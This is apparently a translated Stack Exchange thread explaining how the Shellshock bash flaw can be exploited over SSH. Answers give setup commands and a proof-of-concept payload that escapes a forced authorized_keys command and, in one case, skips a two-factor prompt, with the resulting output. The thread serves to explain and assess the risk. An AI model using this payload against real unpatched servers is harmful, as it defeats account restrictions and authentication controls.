¿Cómo se puede explotar el shellshock sobre SSH?

68

Aparentemente, el exploit shellshock Bash CVE-2014-6271 puede explotarse a través de la red a través de SSH. Puedo imaginar cómo funcionaría el exploit a través de Apache / CGI, pero no puedo imaginar cómo funcionaría eso en SSH.

¿Alguien puede dar un ejemplo de cómo se explotaría SSH y qué daño podría hacerse al sistema?

ACLARACIÓN

AFAIU, solo un usuario autenticado puede aprovechar esta vulnerabilidad a través de SSH. ¿De qué sirve este exploit para alguien que tiene acceso legítimo al sistema de todos modos? Quiero decir, este exploit no tiene escalada de privilegios (no puede convertirse en root), por lo que no puede hacer más de lo que podría haber hecho después de simplemente iniciar sesión legítimamente a través de SSH.

Martin Vegter
fuente
En pocas palabras, no se puede hacer, a menos que alguien ya tenga acceso a su caja. Un nuevo shell bash solo se ejecuta después de un intento de inicio de sesión exitoso.
Evert
Es todo una exageración de los medios, puede suceder, pero no es tan malo como parece.
jgr208
¿Los nombres de usuario van textualmente a los registros? En caso afirmativo, tal vez exista un script de bash de registro que es vulnerable en alguna parte ...
PlasmaHH
1
@PlasmaHH Si ejecuta su script de análisis de registros como root, se merece lo que obtiene.
Barmar
@Barmar: además de que la pregunta no es específicamente para obtener acceso de root, sino acceso a la máquina (que puede ser todo lo que se necesita para, por ejemplo, desfigurarla o hacer otro daño), cuando puede ejecutar código, es probable que también pueda ejecuta código que explota algo más que te haga root.
PlasmaHH

Respuestas:

79

Un ejemplo en el que esto puede explotarse es en servidores con un authorized_keyscomando forzado. Al agregar una entrada a ~/.ssh/authorized_keys, puede ponerle un prefijo a la línea command="foo"para forzar fooque se ejecute cada vez que se use la clave pública ssh. Con este exploit, si el shell del usuario objetivo está configurado bash, puede aprovechar el exploit para ejecutar otras cosas además del comando al que se ve obligado.

Esto probablemente tendría más sentido en el ejemplo, así que aquí hay un ejemplo:

sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser

Aquí configuramos un usuario testuser, que fuerza cualquier conexión ssh que use su clave ssh para ejecutarse echo starting sleep; sleep 1.

Podemos probar esto con:

$ ssh testuser@localhost echo something else
starting sleep

Observe cómo nuestro echo something elseno se ejecuta, pero starting sleepmuestra que el comando forzado sí se ejecutó.

Ahora vamos a mostrar cómo se puede usar este exploit:

$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep

Esto funciona porque sshdestablece la SSH_ORIGINAL_COMMANDvariable de entorno para el comando pasado. Entonces, aunque se sshdejecutó sleep, y no el comando que le dije, debido a la vulnerabilidad, mi código aún se ejecuta.

Patricio
fuente
1
intente esto en su lugar: ssh testuser@localhost echo something else '`whoami`' para probar dónde se está ejecutando el comando
Richard
1
Agregaría a esta respuesta que, en términos de SSH, el exploit solo permite a un usuario autorizado con una clave autorizada (una clave autorizada puede considerarse como una contraseña larga) ejecutar comandos que normalmente no están autorizados a ejecutar. No permite que alguien sin esa clave autorizada haga nada. No creo que esto esté claro en la respuesta si no tienes una comprensión decente de SSH y el significado de key_autorizada.
Chris Dragon
@skrewler Eso suele ser una buena señal de que estás malinterpretando algo. Por ejemplo, la respuesta está explicando cómo si un administrador le diera a testuser la configuración de cuenta proporcionada, cómo testuser podría escapar de las restricciones que se le dieron. Y no, ninguna participación en bash significa que puedes explotar shellshock. Solo cuando bash se ejecuta con permisos, el usuario normalmente no tiene, pero que el usuario tiene influencia sobre las variables de entorno de ese bash.
Patrick
Ok, ahora entiendo lo que intentas mostrar: una configuración que limita testuser al comando en .authorized_keys y no un shell de inicio de sesión. No tenía ningún sentido para mí editar sus propias claves autorizadas con una entrada que ejecuta un comando cuando ya tenía acceso de shell (ya que esto no proporcionaría la ejecución de privilegios) edición: comentario eliminado, estoy corregido.
skrewler
26

Ampliando el ejemplo de Ramesh: si usa la autenticación de dos factores, es posible omitir el segundo factor usando este exploit, dependiendo de cómo se implemente.

- Inicio de sesión normal -

[10:30:51]$ ssh -p 2102 localhost
password:
Duo two-factor login

Enter a passcode or select one of the following options:

 1. Duo Push to XXX-XXX-XXXX
 2. Phone call to XXX-XXX-XXXX
 3. SMS passcodes to XXX-XXX-XXXX (next code starts with: 2)

Passcode or option (1-3): 1

Pushed a login request to your device...
Success. Logging you in...
[server01 ~]$ logout

- Código de ejecución sin 2FA -

[10:31:24]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
MALICIOUS CODE

Notarás que ejecutó el código sin solicitar 2FA.

- Después de parchear bash -

[10:39:10]$ ssh -p 2102 localhost '() { :;}; echo MALICIOUS CODE'
password:
bash: warning: SSH_ORIGINAL_COMMAND: ignoring function definition attempt
bash: error importing function definition for `SSH_ORIGINAL_COMMAND’
Eric Rumer
fuente
1
Solo para limitar el pánico de los lectores eventuales que usan el segundo factor: "dependiendo de cómo se implemente" - Supongo que has asumido que el segundo factor aquí se implementa en bash o usa la readfunción. De lo contrario, el usuario está a salvo.
Grzegorz Wierzowiecki
25

Shellshock es una vulnerabilidad en bash, no en SSH. Para explotarlo, un atacante debe hacer que el sistema vulnerable ejecute bash y controlar el valor de una variable de entorno que se pasará a bash.

Para alcanzar un proceso bash a través de SSH, el atacante debe pasar los pasos de autenticación. (Puede haber vectores de ataque a través de otros servicios de red, pero están más allá del alcance de este hilo). Si la cuenta puede ejecutar comandos de shell arbitrarios de todos modos, no hay ataque. La vulnerabilidad entra en juego si la cuenta está restringida a ejecutar comandos específicos: por ejemplo, una cuenta solo de SFTP, o una cuenta solo de git, etc.

Hay varias formas de restringir una cuenta para ejecutar un comando específico con SSH: con la ForceCommandopción en sshd_configo con a command=. restricción en el authorized_keysarchivo. Si el shell del usuario es bash, entonces la vulnerabilidad Shellshock permite a un usuario que normalmente solo tendría acceso a la cuenta restringida eludir la restricción y ejecutar comandos arbitrarios.

Gilles 'SO- deja de ser malvado'
fuente
Y esto NO funciona para otros proyectiles, como zsh.
Eir Nym el